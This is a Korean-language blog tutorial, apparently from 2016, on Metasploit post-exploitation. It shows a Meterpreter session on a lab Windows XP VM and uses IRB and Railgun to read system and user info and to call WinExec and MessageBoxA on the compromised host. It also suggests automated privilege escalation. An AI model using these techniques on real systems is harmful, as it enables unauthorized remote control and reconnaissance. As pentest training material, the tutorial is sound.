Meterpreter Railgun! 공격하고 확장하자 🦹🏼
오늘은 Metasploit 의 강력한 쉘인 Meterpreter shell 중 Railgun과 IRB를 이용한 API 사용에 대한 내용을 준비했습니다.
쉬운 이해를 위해서 API Call 먼저보고 RailGun 순서로 진행됩니다. Meterpreter를 아주 강력하게 만들어주는 RailGun, 편리한 공격을 위한 IRB API에 대해 시작합니다. :)
Warm-up!
오늘도 meterpreter 테스트를 위해 가상머신 하나를 탈취합니다. (VM이라 동일 IP로 찍혀요)
hahwul exploit(handler) #>
[*] Sending stage (957999 bytes) to 192.168.0.8
[*] Meterpreter session 1 opened (192.168.0.8:4444 -> 192.168.0.8:51270) at 2016-07-18 23:12:21 +0900
hahwul exploit(handler) #> sessions -l
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter x86/win32 BEGINNER-4CAED9\Administrator @ BEGINNER-4CAED9 192.168.0.8:4444 -> 192.168.0.8:51270 (10.0.2.15)
hahwul exploit(handler) #> sessions -i 1
[*] Starting interaction with 1...
meterpreter >
IRB in Meterpreter
Meterpreter shell에선 ruby의 IRB를 사용할 수 있습니다. 이를 통해 동적으로 스크립팅이나 테스팅 등이 가능하며 metasploit 자체가 ruby로 짜여있기 때문에 관련된 함수들을 굉장히 편하게 쓸 수 있죠.
meterpreter > irb
[*] Starting IRB shell
[*] The 'client' variable holds the meterpreter client
>>
IRB 사용은 meterpreter 사용에서 아주 유연함을 주기 때문에 알아두면 좋습니다.
Sys API Call with IRB
먼저 meterpreter에서 열려있는 쉘의 시스템 정보는 이미 Object화 되어 저장되어 있습니다. IRB 상태에서 직접 접근할 수 있기 때문에 아래와 같이 client
를 참조하여 시스템 정보를 얻을 수 있습니다.
?> client
=> #<Session:meterpreter 192.168.0.8:51270 (10.0.2.15) "BEGINNER-4CAED9\Administrator @ BEGINNER-4CAED9">
client를 보면 연결에 대한 정보가 들어있음을 확인할 수 있죠.
이제 유용한 API를 하나하나 볼까요?
sysinfo
client.sys.config.sysinfo 에 있는 정보는 타겟 시스템에 대한 정보를 담고 있습니다.
>> client.sys.config.sysinfo
=> {"Computer"=>"BEGINNER-4CAED9", "OS"=>"Windows XP (Build 2600, Service Pack 3).", "Architecture"=>"x86", "System Language"=>"ko_KR", "Domain"=>"WORKGROUP", "Logged On Users"=>2}
Computer 이름부터 OS, Domain등등 여러가지 정보가 있네요. 각각의 정보는 Hash 형태로 저장되어 있어서 아래와 같이 각각 키 명을 호출하여 값을 불러올 수 있습니다.
>> client.sys.config.sysinfo['OS']
=> "Windows XP (Build 2600, Service Pack 3)."
>> client.sys.config.sysinfo['Domain']
=> "WORKGROUP"
>>
getuid
sys.config 하단에 있는 getuid는 현재 client로 열린 쉘의 사용자를 가지고 있습니다. 권한이라고 보시면되죠. 이걸 이용해서 meterpreter shell로 접근 획득 후 admin 권한인지 확인하고, 없으면 local exploit 을 찾아서 자동으로 권한 탈취하는 meterpreter shell을 구성할 수도 있을 것 같네요.
>> client.sys.config.getuid
=> "BEGINNER-4CAED9\\Administrator"
>>
local exploit 관련 글은 아래 내용 참조해주세요.
https://www.hahwul.com/2016/02/26/metasploit-localexploitsuggester-local/
interfaces
마지막으로 ifconfig, ipconfig에 해당하는 net.config 하단의 interfaces 입니다. net 아래인 것 처럼 네트워크 정보를 담고 있으며 이 부분도 parsing 해서 사용 시 편리할 것 같습니다.
>> interface = client.net.config.interfaces
>> interface.each do |i|
?> puts i.pretty
>> end
Interface 2
============
Name : AMD PCNET Family PCI Ethernet Adapter - rfacee
Hardware MAC : 08:00:27:14:c5:a9
MTU : 1500
IPv4 Address : 10.0.2.15
IPv4 Netmask : 255.255.255.0
Interface 1
============
Name : MS TCP Loopback interface
Hardware MAC : 00:00:00:00:00:00
MTU : 1520
IPv4 Address : 127.0.0.1
Meterpreter RailGun
Meterpreter에선 Railgun 이란 기능을 제공하고 있습니다. RailGun은 Meterpreter shell이 침투한 Windows에서 동작할 때 사용할 수 있는 확장부분입니다. Target system에 존재하는 DLL과 그 내부의 함수, 코드등에 대해 실행할 수 있어 공격자로 하여금 좀 더 유연한 공격과 편리한 기능을 제공합니다.
Railgun은 meterpreter shell의 IRB에서 client.railgun
으로 호출하여 사용할 수 있습니다. POST Extploit Script를 작성하셔도 동일한 형태로 사용하실 수 있습니다.
다만 예쁜 help를 주는건 아니니 각 DLL 별 함수 종류 및 사용법을 위해서는 MSDN은 필수입니다.
Using USER32.DLL fucntion
아까 irb의 구조를 조금 보았기 때문에 아마도 이해에 도움되실겁니다 client
하단에 railgun이 따로 존재하며 위에서 말씀드렸듯이 railgun을 이용해서 system api 를 직접 호출할 수 있습니다.
일단 사용법을 보면 아래와 같습니다.
client.railgun.<dll library>.<function>(<function args>)
railgun 하단에 사용할 dll library가 들어가고 dll의 존재하는 함수명으로 호출이 간으합니다. 좀 더 쉬운 이해를 위해 아래 예제 코드를 볼까요?
client.railgun.user32.MessageBoxA(0,"HAHWUL","HAcked.!","MB_OK")
railgun으로 user32.dll
에 접근 후 MessageBoxA
함수를 실행합니다. MessageBoxA
함수는 Win API 프로그래밍을 해보셨다면 많이 익숙할껍니다. 바로 메시지 창이죠.
int WINAPI MessageBox(
_In_opt_ HWND hWnd,
_In_opt_ LPCTSTR lpText,
_In_opt_ LPCTSTR lpCaption,
_In_ UINT uType
);
위 값을 입력했을 때 Target PC에서 어떤일이 일어나는지 보죠.
user32.dll
에 선언된 MessageBoxA
함수가 실행되어 제가 넣은 인자값으로 창이 뜨게 되었습니다. 사용 가능한 함수 리스트는 puts으로 찍어주면 쉽게 볼 수 있습니다.
puts client.railgun.user32
RuntimeError: DLL-function to_ary not found. Known functions: ["ActivateKeyboardLayout",
"AdjustWindowRect",
"AdjustWindowRectEx",
"AllowSetForegroundWindow",
# ...
Using KERNEL32.DLL fucntion
자 그럼 하나 더 해볼까요? kernel32.dll에는 WinExec 라는 함수가 있습니다. 명령을 실행시켜주죠. (간단한 함수로 찾다보니 WinExec가 설명하기 좋겠더라구요)
함수형을 보면 아래와 같습니다.
UINT WINAPI WinExec(
_In_ LPCSTR lpCmdLine,
_In_ UINT uCmdShow
);
첫번째째인자값으로 명령, 두번째는 view 옵션이 들어갑니다. 이제 railgun으로 실행해볼까요?
client.railgun.kernel32.WinExec("calc",0)
=> {"GetLastError"=>0, "ErrorMessage"=>"\xC0\xDB\xBE\xF7\xC0\xBB \xBF\xCF\xB7\xE1\xC7\xDF\xBD\xC0\xB4\xCF\xB4\xD9.", "return"=>33}
계산기가 잘 뜨네요.
Conclusion
Railgun은 아주 좋은 Ruby Module 입니다. 탈취한 세션에서 작업을 하는 경우 기본 shell, meterpreter 로만은 불편한 부분이 있는데 이를 코드단에서 지원함으로써 공격자가 쉽게 확장하고 사용할 수 있어집니다. 그리고 ruby 자체로 코딩할 수 있으니 그 가능성은 무한하다고 봅니다.
Reference
- https://www.offensive-security.com/metasploit-unleashed/api-calls/
- https://www.hahwul.com/2015/08/17/metasploit-metasploit-autorunscript/
- https://www.hahwul.com/2016/02/26/metasploit-localexploitsuggester-local/
- https://msdn.microsoft.com/ko-kr/library/windows/desktop/ms687393(v=vs.85).aspx
- https://msdn.microsoft.com/ko-kr/library/windows/desktop/ms645505(v=vs.85).aspx